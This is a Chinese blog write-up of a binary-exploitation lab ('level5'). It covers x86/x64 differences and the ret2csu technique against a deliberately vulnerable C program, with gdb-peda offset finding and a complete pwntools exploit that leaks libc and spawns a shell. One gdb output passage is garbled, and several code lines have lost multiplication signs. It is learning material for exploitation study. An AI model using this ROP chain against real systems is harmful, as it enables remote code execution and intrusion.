菜鸟要飞么?之Level5

实验目的

本次实验的主要目的就是要认识到x86和x64的区别,以及对ROPgadgets的使用,下面我们通过level5来简单地说一说:
x64和x86的区别主要有两点
首先是内存地址的范围由32位变成了64位
但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。
其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上
但在x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9中,如果还有更多的参数的话才会保存在栈上。

漏洞程序

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, “Hello, World\n”, 13);
vulnerable_function();
}
打开ASLR并用如下方法编译(默认打开)
gcc -fno-stack-protector -z execstack -o lab4 lab4.c
-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector。同时我们在shell中执行:
在这里插入图片描述
会发现这样就编译出了一个没有canary,没有PIE的可执行文件lab4。

接下来就是要找溢出点了

peda$ pattern create 150 payload
然后运行gdb ./vuln后输入这串字符串造成程序崩溃
peda$ r < payload
奇怪的事情发生了,PC指针并没有指向类似于0x41414141那样地址
而是停在了vulnerable_function()函数中
这是为什么呢?
原因就是我们之前提到过的程序使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。
但是,虽然PC不能跳转到那个地址,我们依然可以通过栈来计算出溢出点。
因为ret相当于“pop rip”指令,所以我们只要看一下栈顶的数值就能知道PC跳转的地址了

在这里插入图片描述
gdb-peda$ x/gx r s p 0 x 7 f f f f f f f d e 58 : 0 x 41416 d 4141514141 在 G D B 里 , x 是 查 看 内 存 的 指 令 , 随 后 的 g x 代 表 数 值 用 64 位 16 进 制 显 示 随 后 我 们 就 可 以 用 p a t t e r n 来 计 算 溢 出 点 g d b − p e d a rsp 0x7fffffffde58: 0x41416d4141514141 在GDB里,x是查看内存的指令,随后的gx代表数值用64位16进制显示 随后我们就可以用pattern来计算溢出点 gdb-peda rsp0x7fffffffde58:0x41416d4141514141GDBxgx6416patterngdbpeda pattern offset 0x41416d4141514141
4702159612987654465 found at offset: 136
可以看到溢出点为136字节。
在这里插入图片描述
可以看到我们已经成功的控制了PC的指针了。

关于通用gadgets

因为程序在编译过程中会加入一些通用函数用来进行初始化操作(比如加载libc.so的初始化函数)
所以虽然很多程序的源码不同,但是初始化的过程是相同的
因此针对这些初始化函数,我们可以提取一些通用的gadgets加以使用,从而达到我们想要达到的效果。
可以看到这个程序仅仅只有一个buffer overflow,也没有任何的辅助函数可以使用
所以我们要先想办法泄露内存信息,找到system()的值
然后再传递“/bin/sh”到.bss段,最后调用system(“/bin/sh”)
因为原程序使用了write()和read()函数,我们可以通过write()去输出write.got的地址
从而计算出libc.so在内存中的地址。
但问题在于write()的参数应该如何传递,因为x64下前6个参数不是保存在栈中,而是通过寄存器传值。
我们使用ROPgadget并没有找到类似于pop rdi, ret,pop rsi, ret这样的gadgets。
那应该怎么办呢?其实在x64下有一些万能的gadgets可以利用
比如说我们用objdump -d ./lab4观察一下__libc_csu_init()这个函数
一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作
在这里插入图片描述
其中关键的gadgets就在0x400616这里
在这里插入图片描述
我们可以控制rbx、rbp、r12、r13、r14、r15的值,然后再回到上面0x400600,利用这里的3个mov语句将r13的值赋给rdx,将r14的值赋给rsi,将r15的值赋给rdi,同时还能调用[r12+rbx8]这个地址的指令。之后继续顺序执行到最后ret回跳到想要去的地方。
r13 的值赋值给rdx​
r14的值赋值给rsi​
r15的值赋值给edi
随后就会调用call qword ptr [r12+rbx
8]
这时候我们只要再将rbx的值赋值为0,再通过精心构造栈上的数据,
我们就可以控制pc去调用我们想要调用的函数了(比如说write函数)
执行完call qword ptr [r12+rbx8]之后,程序会对rbx+=1
然后对比rbp和rbx的值,如果相等就会继续向下执行并ret到我们想要继续执行的地址。
所以为了让rbp和rbx的值相等,我们可以将rbp的值设置为1,因为之前已经将rbx的值设置为0了。
大概思路就是这样,我们来构造ROP链。
我们先构造payload1,利用write()输出write在内存中的地址。
注意我们的gadget是call qword ptr [r12+rbx
8]
所以我们应该使用write.got的地址而不是write.plt的地址
并且为了返回到原程序中,重复利用buffer overflow的漏洞
我们需要继续覆盖栈上的数据,直到把返回值覆盖成目标函数的main函数为止。
当我们exp在收到write()在内存中的地址后,就可以计算出system()在内存中的地址了。
具体的exp如下:
from pwn import *
from LibcSearcher import *

context.log_level=‘debug’
context.terminal=[‘gnome-terminal’,’-x’,‘sh’,’-c’]

p=process(’./lab4’)
elf=ELF(’./lab4’)

main =0x0000000000400587
popgad=0x000000000040061A
movgad=0x0000000000400600

print p64(elf.got[‘write’])

payload='a’0x88 + p64(popgad)
payload+=p64(0)+p64(1)+p64(elf.got[‘write’])+p64(8)+p64(elf.got[‘write’])+p64(1)
payload+=p64(movgad)
payload+=‘a’
(8*7)+p64(main)
#pwnlib.gdb.attach§

p.recvuntil(‘World\n’)
p.sendline(payload)
write=u64(p.recv(8).ljust(8,’\x00’))
print “write:” + hex(write)
libc=LibcSearcher(‘write’,write)
libcbase=write-libc.dump(‘write’)
system_addr=libcbase+libc.dump(‘system’)
binsh_addr=libcbase+libc.dump(‘str_bin_sh’)

payload2=‘a’*0x88+ p64(0x0000000000400623)+p64(binsh_addr)+p64(system_addr)
p.recvuntil(‘World\n’)
p.sendline(payload2)
p.interactive()
看看运行之后的效果
在这里插入图片描述
getshell成功。

总结

这次实验也是有点难度的,看了老胡的好几次视频,才勉勉强强看懂,还看了网上大神的博客,以后一定要好好学习pwn呀!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值